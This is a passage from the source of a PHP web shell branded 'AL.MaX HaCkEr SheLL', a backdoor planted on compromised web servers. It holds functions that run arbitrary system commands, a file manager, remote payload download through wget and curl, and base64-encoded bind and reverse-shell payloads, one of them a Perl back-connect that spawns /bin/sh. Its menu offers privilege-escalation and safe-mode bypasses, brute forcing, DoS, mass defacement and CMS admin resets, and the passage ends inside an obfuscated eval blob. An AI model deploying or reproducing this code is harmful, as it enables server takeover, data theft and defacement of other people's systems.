875 <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
876 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
877 <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
878 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
879 <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
880 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
881 onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" />
882 </form>
883 </center></td>
884 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td>
885 <td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>
886 | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a>
887 </td>
888 </tr>";
889 }
890 }
891 foreach($fname as $file)
892 {
893 $full = $pwd.$file;
894 if(!$win && $posix)
895 {
896 $name=@posix_getpwuid(@fileowner($file));
897 $group=@posix_getgrgid(@filegroup($file));
898 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
899 }
900 else { $owner = $user; }
901 $buff .= "<tr>
902 <td>
903 <a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' /> $file</a>
904 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
905 <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
906 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
907 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
908 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
909 onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
910 </form>
911 </td>
912 <td>".ukuran($full)."</td>
913 <td style=\"text-align:center;\">".$owner."</td>
914 <td><center>
915 <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
916 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
917 <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
918 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
919 <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
920 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
921 onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" />
922 </form></center></td>
923 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
924 <td>
925 <a href=\"?y=$pwd&edit=$full\">edit</a>
926 | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a>
927 | <a href=\"?y=$pwd&delete=$full\">delete</a>
928 | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gz</a>)
929 </td>
930 </tr>";
931 }
932 $buff .= "</table>"; return $buff;
933 }
934
935 function ukuran($file)
936 {
937 if($size = @filesize($file))
938 {
939 if($size <= 1024) return $size;
940 else
941 {
942 if($size <= 1024*1024)
943 { $size = @round($size / 1024,2);; return "$size kb"; }
944 else { $size = @round($size / 1024 / 1024,2); return "$size mb"; }
945 }
946 }
947 else return "???";
948 }
949
950 function exe($cmd)
951 {
952 if(function_exists('system'))
953 {
954 @ob_start();
955 @system($cmd);
956 $buff = @ob_get_contents();
957 @ob_end_clean();
958 return $buff;
959 }
960 elseif(function_exists('exec'))
961 {
962 @exec($cmd,$results);
963 $buff = "";
964 foreach($results as $result)
965 { $buff .= $result; }
966 return $buff;
967 }
968 elseif(function_exists('passthru'))
969 {
970 @ob_start();
971 @passthru($cmd);
972 $buff = @ob_get_contents();
973 @ob_end_clean();
974 return $buff;
975 }
976 elseif(function_exists('shell_exec'))
977 {
978 $buff = @shell_exec($cmd);
979 return $buff;
980 }
981 }
982
983 function tulis($file,$text)
984 {
985 $textz = gzinflate(base64_decode($text));
986 if($filez = @fopen($file,"w"))
987 {
988 @fputs($filez,$textz);
989 @fclose($file);
990 }
991 }
992
993 function tulis_2($file,$text)
994 {
995 $textz = base64_decode($text);
996 if($filez = @fopen($file,"w"))
997 {
998 @fputs($filez,$textz);
999 @fclose($file);
1000 }
1001 }
1002
1003 function ambil($link,$file)
1004 {
1005 if($fp = @fopen($link,"r"))
1006 {
1007 while(!feof($fp))
1008 {
1009 $cont.= @fread($fp,1024);
1010 }
1011 @fclose($fp);
1012 $fp2 = @fopen($file,"w");
1013 @fwrite($fp2,$cont);
1014 @fclose($fp2);
1015 }
1016 }
1017
1018 function which($pr)
1019 {
1020 $path = exe("which $pr");
1021 if(!empty($path))
1022 { return trim($path); }
1023 else { return trim($pr); }
1024 }
1025
1026 function download($cmd,$url)
1027 {
1028 $namafile = basename($url);
1029 switch($cmd)
1030 {
1031 case 'wwget': exe(which('wget')." ".$url." -O ".$namafile); break;
1032 case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile); break;
1033 case 'wfread' : ambil($wurl,$namafile);break;
1034 case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
1035 case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
1036 case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
1037 case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
1038 default: break; }
1039 return $namafile;
1040 }
1041
1042 function get_perms($file)
1043 {
1044 if($mode=@fileperms($file))
1045 {
1046 $perms='';
1047 $perms .= ($mode & 00400) ? 'r' : '-';
1048 $perms .= ($mode & 00200) ? 'w' : '-';
1049 $perms .= ($mode & 00100) ? 'x' : '-';
1050 $perms .= ($mode & 00040) ? 'r' : '-';
1051 $perms .= ($mode & 00020) ? 'w' : '-';
1052 $perms .= ($mode & 00010) ? 'x' : '-';
1053 $perms .= ($mode & 00004) ? 'r' : '-';
1054 $perms .= ($mode & 00002) ? 'w' : '-';
1055 $perms .= ($mode & 00001) ? 'x' : '-';
1056 return $perms;
1057 }
1058 else return "??????????";
1059 }
1060
1061 function clearspace($text){ return str_replace(" ","_",$text); }
1062
1063 $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
1064 $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
1065
1066 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
1067jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
1068 ?>
1069
1070<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
1071 <head>
1072 <link rel="shortcut icon" href="data:image/x-icon;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAQAAMIOAADCDgAAAAAAAAAAAAAMDg7/FBMS/xgWFf8UFBT/FxcY/x8dHv8aGRn/GhgY/xoZGP8RFBT/DRAR/xMTEv8WFBP/FRQU/w0NDv8SERH/EBER/xYVFP8bGBf/GhgX/xoZGP8fHh3/FhcY/xYXF/8bGhn/ERMT/xESEv8TEhH/Hxwb/yMhIP8MCwv/EhER/xMTFP8ZGBj/GxkY/xgYF/8bGxn/HBoY/xIUFP8NERP/FBYX/xATEf8UFRP/ExMR/yooJv8kJCP/EREQ/w8ODf8VFBT/GxkY/xwaGf8YGBb/FxgW/xcYE/8RExD/DA8L/xATAf8TFQ3/EREN/xEQDf83NTL/Li0s/w0ODv8MDAz/FRUU/xUVFf8aGRj/HBsZ/xsbF/8WGRT/ExcJ/wwOEf8PDW7/BAYK/xESCf9RUEz/U1JQ/x8eHf8NDAz/Dg8P/xMUFP8QEhP/FxgY/xsbGP8aGxf/HB0S/xITBP8wLIH/enXa/2dpaf97e3D/ZGVi/xwdGv8MDAr/EREQ/xEREf8WFxf/Gxsa/xkaGf8bGxj/HBwW/xcZC/8eHWP/j4rc/z08P/8hIQb/ExUF/wQGAP8AAAD/ERAN/xERD/8REhH/FRYW/xoaGv8ZGhn/GBkX/xocFf8KDAH/VlGw/3h1zP8AAAH/AAQA/wwNLf8OC1f/RkY6/w4PDP8RERD/EhIR/xETE/8UFhb/ERIR/xESEP8bHBT/AwYD/1ZTlP+IhNf/AAAD/wAAZP8AABT/uLX//4SEeP8AAAD/FRUT/xEREf8TFBT/FhYW/zM0M/8lJiT/BAYC/wIEAP8NDSH/wcDN/0lFrv9QS+r/v7zz/8/O2/8BAwD/DQ4K/xISEf8QERD/DxER/wYICP8JDQ7/RkZF/
10731VVUv8xMir/AAAA/1VWUf//////qqnQ/2Zoaf8GCAv/AgYA/xESD/8UFBP/ExMT/xobG/85Ozv/PD4+/zQ1Nf9SUlH/f357/6Sknv+Hh3//AAAO/wAAHv8AAwD/Cw0E/w8RDf8QEhD/FRUV/xYVFf8MDw//FxYW/yspKP84OTn/SUpJ/2VkYv/Ozcr/r66i/wAAJv8VFzX/Cw4B/xUVEv8ZFxT/FBQT/xMVFf8XFxf/DhAR/yclJf85Njb/RkZF/2BgYf9/fX3/ZGRi/xsaE/8TEiL/ExQ5/wwQB/8YFxT/GxgW/xYVFP8TExT/FxYX/xAREf8eHRz/KCUk/yUjIv8aGhn/DQ0M/wAAAP8JCwr/FxcV/xATFf8TFRL/GhkW/xwZF/8YFxb/FBMT/xQUE/8RERH/ExIS/xEPDv8MDQz/EhEQ/xUVE/8PERP/Cg0Q/xIUFP8RFBL/FhYV/xwaGf8aFxb/ExMT/xISEv8QDw//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3D%3D" type="image/x-icon" />
1074 <title>Private ! .. AL.MaX HaCkEr SheLL</title>
1075 <script type="text/javascript">
1076
1077 function tukar(lama,baru)
1078 {
1079 document.getElementById(lama).style.display = 'none';
1080 document.getElementById(baru).style.display = 'block';
1081 }
1082
1083 </script>
1084 <style type="text/css">
1085 AKUSTYLE { display:none; }
1086 body { background:#000000; }
1087 A:link {COLOR: #FF5A00; TEXT-DECORATION: none }
1088 A:visited {COLOR: #FC5000; TEXT-DECORATION: none }
1089 A:hover {text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #FF6600; TEXT-DECORATION: none }
1090 A:active {color: Red; TEXT-DECORATION: none }
1091 textarea {BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; BACKGROUND-COLOR: #1b1b1b; font: Fixedsys bold; color: #aaa; }
1092 * { font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; }
1093 #menu { background:#040404; margin:2px 2px 2px 2px; }
1094 #menu a { padding:4px 18px; margin:0; background:#222222; text-decoration:none; letter-spacing:2px; }
1095 #menu a:hover { background:#000000; border-bottom:1px solid #000000; border-top:1px solid #000000; }
1096 .tabnet { margin:15px auto 0 auto; border: 1px solid #000000; }
1097 .main { width:100%; }
1098 .gaya { color: #FF5E00; }
1099 .your_ip { color: #FF5E00; }
1100 .inputz { background:#000000; border:0; padding:2px; border-bottom:1px solid #222222; border-top:1px solid #222222; }
1101 .inputzbut { background:#111111; color:#060606; margin:0 4px; border:1px solid #000000; }
1102 .inputz:hover,
1103 .inputzbut:hover { border-bottom:1px solid #FF4D00; border-top:1px solid #FF4400; color:#FF4400; }
1104 .output { margin:auto; border:1px solid #FF0000; width:100%; height:400px; background:#000000; padding:0 2px; }
1105 .cmdbox { width:100%; }
1106 .head_info { padding: 0 4px; }
1107 .b1 { font-size:30px; padding:0; color:#FF5100; }
1108 .b2 { font-size:30px; padding:0; color: #FF5500; }
1109 .b_tbl { text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; }
1110 .phpinfo table { width:100%; padding:0 0 0 0; }
1111 .phpinfo td { background:#111111; color:#FF5500; padding:6px 8px;; }
1112 .phpinfo th, th { background:#444444; border-bottom:1px solid #000000; font-weight:normal; }
1113 .phpinfo h2,
1114 .phpinfo h2 a { text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#444444; padding:4px 0; }
1115 .explore { width:100%; }
1116 .explore a { text-decoration:none; }
1117 .explore td { border-bottom:1px solid #444444; padding:0 8px; line-height:24px; }
1118 .explore th { padding:3px 8px; font-weight:normal; }
1119 .explore th:hover,
1120 .phpinfo th:hover { border-bottom:1px solid #FF4400; }
1121 .explore tr:hover { background:#050505; }
1122 .viewfile { background:#EDECEB; color:#000000; margin:4px 2px; padding:8px; }
1123 .sembunyi { display:none; padding:0;margin:0; }
1124 .style1 {
1125 text-align: center;
1126}
1127 </style>
1128 </head>
1129<body onLoad="document.getElementById('cmd').focus();">
1130 </div>
1131 <div class="style39">
1132 <!-- head info start here -->
1133 <div class="head_info">
1134 <table>
1135 <tr>
1136 <td>
1137 <table class="b_tbl">
1138 <tr>
1139 <td class="style43">
1140 <img class="decoded" alt="http://oi50.tinypic.com/117hic1.jpg" src="http://oi50.tinypic.com/117hic1.jpg" width="165" height="165"><br>
1141 <span <ul>
1142
1143 <span style="font-family: trebuchet ms,helvetica,sans-serif;">
1144<font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);">
1145 <span class="style6">
1146<span class="style8"> <strong class="style33">AttaCker</strong></span><span class="style4"><strong>
1147 </strong> </span>
1148
1149<span class="style9"> <strong class="style33">From</strong></span><span class="style4">
1150</span></span>
1151 </font></span></span><strong>
1152<font style="text-shadow: 2px 2px 3px rgb(0, 0, 0);">
1153
1154 <span style="font-family: trebuchet ms,helvetica,sans-serif;">
1155 <span <ul class="style33">
1156
1157 SuDaN</span></span></font></strong><span class="style4"><span class="style6"><font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"><span <ul style="font-family: 'trebuchet ms', helvetica, sans-serif"><strong><br>
1158<font size="6"><span lang="en-us" class="style49">
1159 <span class="style31">
1160<a href="mailto:pv0@HoTmaiL.CoM">
1161
1162 Gun</a></span></span></font></strong><font size="6"><span lang="en-us" class="style49"><font color="#FF0000"><a href="mailto:gun@linuxmail.org"><span class="style32"><strong class="style31">@</strong></span></a></font><a href="mailto:Gun@linuxmail.org"><strong class="style31">Linuxmail.org</strong></a></span></font></span></font></span></span></td>
1163 </tr>
1164 </table>
1165 </td>
1166 <td class="style38">
1167 <?php echo $buff; ?>
1168 </td>
1169 </tr>
1170 </table>
1171 </div>
1172 <!-- head info end here -->
1173 <!-- menu start -->
1174 <div id="menu">
1175 <center>
1176 <a href="?<?php echo "y=".$pwd; ?>"> <b>Explore</b></a>
1177 <a href="?<?php echo "y=".$pwd; ?>&x=shell"> <b>Shell</b></a>
1178 <a href="?<?php echo "y=".$pwd; ?>&x=php"> <b>Eval</b></a>
1179 <a href="?<?php echo "y=".$pwd; ?>&x=mysql"> <b>MySQL</b></a>
1180 <a href="?<?php echo "y=".$pwd; ?>&x=phpinfo"> <b>PHP</b></a>
1181 <a href="?<?php echo "y=".$pwd; ?>&x=netsploit"> <b>NetSploit</b></a>
1182 <a href="?<?php echo "y=".$pwd; ?>&x=upload"> <b>Upload</b></a>
1183 <a href="?<?php echo "y=".$pwd; ?>&x=mail"> <b>Mail</b></a>
1184 <a href="?<?php echo "y=".$pwd; ?>&x=brute"> <b>BruteForce</b></a>
1185 <a href="?<?php echo "y=".$pwd; ?>&x=readable"> <b>OpenDIR</b></a>
1186 <a href="?<?php echo "y=".$pwd; ?>&x=dos"> <b>D0S</b></a><br><br>
1187 <a href="?<?php echo "y=".$pwd; ?>&x=localdomain"> <b>
1188 LocalDomain</b></a>
1189 <a href="?<?php echo "y=".$pwd; ?>&x=zone-h"> <b>Zone-H</b></a>
1190 <a href="?<?php echo "y=".$pwd; ?>&x=symlink"> <b>Symlink</b></a>
1191 <a href="?<?php echo "y=".$pwd; ?>&x=identify"> <b>Domain
1192 Script</b></a>
1193 <a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner"> <b>
1194 SQLI Scan</b></a>
1195 <a href="?<?php echo "y=".$pwd; ?>&x=web-info"> <b>
1196 Website Whois</b></a>
1197 <a href="?<?php echo "y=".$pwd; ?>&x=port-scanner"> <b>
1198 Port-Scanner</b></a>
1199 <a href="?<?php echo "y=".$pwd; ?>&x=wp-reset"> <b>WP
1200 Reset</b></a><br><br>
1201 <a href="?<?php echo "y=".$pwd; ?>&x=jm-reset"> <b>Jomlaa
1202 Reset</b></a>
1203 <a href="?<?php echo "y=".$pwd; ?>&x=cms-scanner"> <b>CMS
1204 Scanner</b></a>
1205 <a href="?<?php echo "y=".$pwd; ?>&x=vb"> <b>VB Changer</b></a>
1206 <a href="?<?php echo "y=".$pwd; ?>&x=string-encode"> <b>
1207 String Encoder</b></a>
1208 <a href="?<?php echo "y=".$pwd; ?>&x=mysqlbackup"> <b>SQL
1209 Backup</b></a>
1210 <a href="?<?php echo "y=".$pwd; ?>&x=whmcs"> <b>WHMCS
1211 Decoder</b></a>
1212 <a href="?<?php echo "y=".$pwd; ?>&x=security-mode"> <b>
1213 Security Mode</b></a>
1214 <a href="?<?php echo "y=".$pwd; ?>&x=process"> <b>Process</b></a>
1215 <br>
1216 <br>
1217
1218 <a href="?BackConnect=PHP_6"> <b>Cgi Shell</b></a>
1219 <a href="?BackConnect=PHP_7"> <b>Python Shell</b></a>
1220 <a href="?BackConnect=PHP_9"> <b>perl Bypass Tools</b></a>
1221 <a href="?BackConnect=PHP_10"> <b>Auto Root</b></a>
1222 <a href="?BackConnect=PHP_15"> <b>ShowsourceRead</b></a>
1223 <a href="?BackConnect=PHP_11"> <b>Cgi Shell Priv pass=dz</b></a>
1224 <a href="?BackConnect=PHP_20"> <b>SuExecByps</b></a>
1225
1226 <a href="?BackConnect=PHP_16"> <b>Config Shell</b></a>
1227 <br>
1228 <br>
1229
1230 <a href="?BackConnect=PHP_18"> <b>LitespeedBypas</b></a>
1231 <a href="?BackConnect=PHP_19"> <b>SsiBypass</b></a>
1232
1233 <a href="?BackConnect=PHP_24"> <b>Php Eval Bypass</b></a>
1234 <a href="?BackConnect=PHP_25"> <b>Php4 Bind 8888 Eval</b></a>
1235
1236 <a href="?BackConnect=PHP_27"> <b>Safe Mode php.ini</b></a>
1237 <a href="?BackConnect=PHP_28"> <b>Mini Cgi</b></a>
1238 <a href="?BackConnect=PHP_29"> <b>izo ozel ssi shell</b></a>
1239
1240 <a href="?BackConnect=PHP_30"> <b>Php3.0 Priv8 Bypass</b></a>
1241
1242 <br>
1243 <br>
1244 <a href="?BackConnect=PHP_4"> <b>Dc Backconnect</b></a>
1245 <a href="?BackConnect=PHP_1"> <b>Php Backconnect 1</b></a>
1246 <a href="?BackConnect=PHP_2"> <b>Php Backconnect 2</b></a>
1247 <a href="?BackConnect=PHP_3"> <b>Php Backconnect 3</b></a>
1248 <a href="?BackConnect=PHP_13"> <b>Php Backconnect 4</b></a>
1249 <a href="?BackConnect=PHP_21"> <b>Perlsocket</b></a>
1250 <a href="?BackConnect=PHP_5"> <b>Python Bacconnect</b></a>
1251 <br>
1252 <br>
1253
1254
1255 <a href="?BackConnect=PHP_17"> <b>Python izo</b></a>
1256 <a href="?BackConnect=PHP_12"> <b>Metasploit Bacconnect</b></a>
1257 <a href="?BackConnect=PHP_26"> <b>Mass deface</b></a>
1258 <a href="?BackConnect=PHP_23"> <b>WHMCS Server</b></a>
1259 <a href="?BackConnect=PHP_77"> <b>Wordpress Mass Defacer</b></a>
1260 <a href="?BackConnect=PHP_78"> <b>WordPress Admin</b></a>
1261
1262
1263
1264
1265
1266 <a href="?logout=1"> <b>Logout</b></a>
1267 </center>
1268 </div>
1269 <!-- menu end -->
1270
1271
1272 <?php
1273 if(isset($_GET['x']) && ($_GET['x'] == 'php'))
1274 {
1275 ?>
1276<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
1277<table class="cmdbox">
1278
1279<tr>
1280<td>
1281<textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('FZfHsoPYFUV/xbNuFwNyKtvdRc45M3GRcxBJwNdb1uhVSUg87jl7r/X3X//++x/VlY1/Nm8312N2VH/ux/bfbTlg9M882ysC+29ZFUtZ/fmHmK4BT9ofMfHBEJlwwTkO96MWUH6tGWu739qt6hmlcqsQ2Y2G3v1L7RcIkCgIgKO7rxdc0+VpeSp44iGYXxfezdGQgN6RHLjOgMMnAIIqqEFYioIZr4DXjZu6kaVHzEh6rSxLqDcP8gixjF0msxYFYk9pZV6ZVTDcgS0sOhSjcRQhBHR/qkohI/0BwdokHYPIufFv0JZqLlJGPpZqwzDbMZ+Y3I8slQK8OclaE1hv6yh2DoE8tPn2kxJw7jAvDNtFgKPA5/5cx0SMRHsIp7Ai2FBXsFLQ9A3rW5LNOMQk2lPU+DpmM6XIJPOcEvWshHvX9WNb7mMdafviD2JBvNMJw5pwk2Xt/lfCMNJHjuDGH/l0ElWirAoLr9wMnrqf95z2lCOXgn6F0CT2/fvAt9ujZKgXDpla9JqbBoJ47vh4K/82PlC/EvTq2Bf2kO8smhaXzxs2yzwPJKI/QBabEoKyrL/3nJrXdNR/WErpv8V9AJr9mLtLELthbznczWg8XhUG88/qQ1HofQz2xWrFN26qbKrYNh2T+BK7qo5Z19wIH9sTY1I5jhbuJfaZGXUiyKKhUwyaus1xUFlZBpetenLKMRQcnfc8z9vKM4hpxuKYc3ci7nCIW9fpobdQJMNGx+rysJfniz3qlfghUTgtPOBISldYNtDzN8BnFtXS4E1Olv79ynmCKPl010HE+JwYi7nvE03Qo3Mt/KaWY1bUdgtMjUpgycdXC8prQ/
1282pjkqhApIKjypJ4NTPdrFVNAtf27JwnFJUPuQHOaP1mFNge1g2oiEmyxGe1BEMxZTypful5XeGoYmKB5QtJE+aOZcSlfM3VCHhOvfd+2HGdUoDFM9Zypu1GiOw1R68CtEvzUVIp4KKCR3Vof8y+S1ZXxVY/FnFmpbTg1PoOPIazSyvZ30FkDg+DvEgwa7O3tB5PNDxeipzuw2jFJchbTIa4Hs6bXfvjlYZhoTstMkb1uRsz58WWMWjRFyIcmRsT4KxKCG0QYEXFkCYqGmpcJ3wG+z4Yy9kYVg+VyzIjsvI3CnQ2mJVQPGEYC/Cy3vFjRAoID4XuWvyUY6l8fbB1S9eKDdXOUBJtAvySHDg2aZI6Z/4MkVXTt20UqnALPgwPq7z3FRl5d2+doBimSEVD5dAduiqpJIvv1SSSTxzmgtUJiRiHMD2FJJv0J7lF5bmIqNmS33EuA6IH+xDMECpfmf49vKN9VWmdXSvkXYTwH10hozClHHPnon1CAem89NE4aEv6muTv5yU6njOkwumrbUwIQ5NJTOVfVARUjmB5OsNH5w3e6O2V94G4yYcDR5dyvleoPKb6rYPsER22ZvhITyPG/SjWx9aZIBJAjMBsuyRCYH1YXEX7DC0Y/GR4QGzKhY8CqFPbWFgNIvJWQq/UufLtwnlu/C/FcgCRcxX5QjVXmwwyl1pnPZk0NXgOc+hIltExRWQS4tbFZChmEB/YrHs78PkPBLIJzWEnUcZgEbkYWdfYWgo6qFNnuhAnS/YLlgGP6xnhvkdeIuhreFuwnse0CESSW8whRz4aAcrBEe9SFW046df1Mo75OBGw1iOO6woBby56PylB5k7w3Y5oWsNO5+1u1Qlx0haYchXBhJc8JO2W5buYNqUr6XUlhFvcwdyxeSdIT3JE6srYGRfslAmUKYtfIXDacH3aGcMY2fqyOU4ncDZ6uZ3VSXhqYHIViAL27DiEmHFqKnNWxkbGI4dAhSn1SWj6AsmsLv3rMvi4KLPc8PK3iJ8DSAfqhAgekS
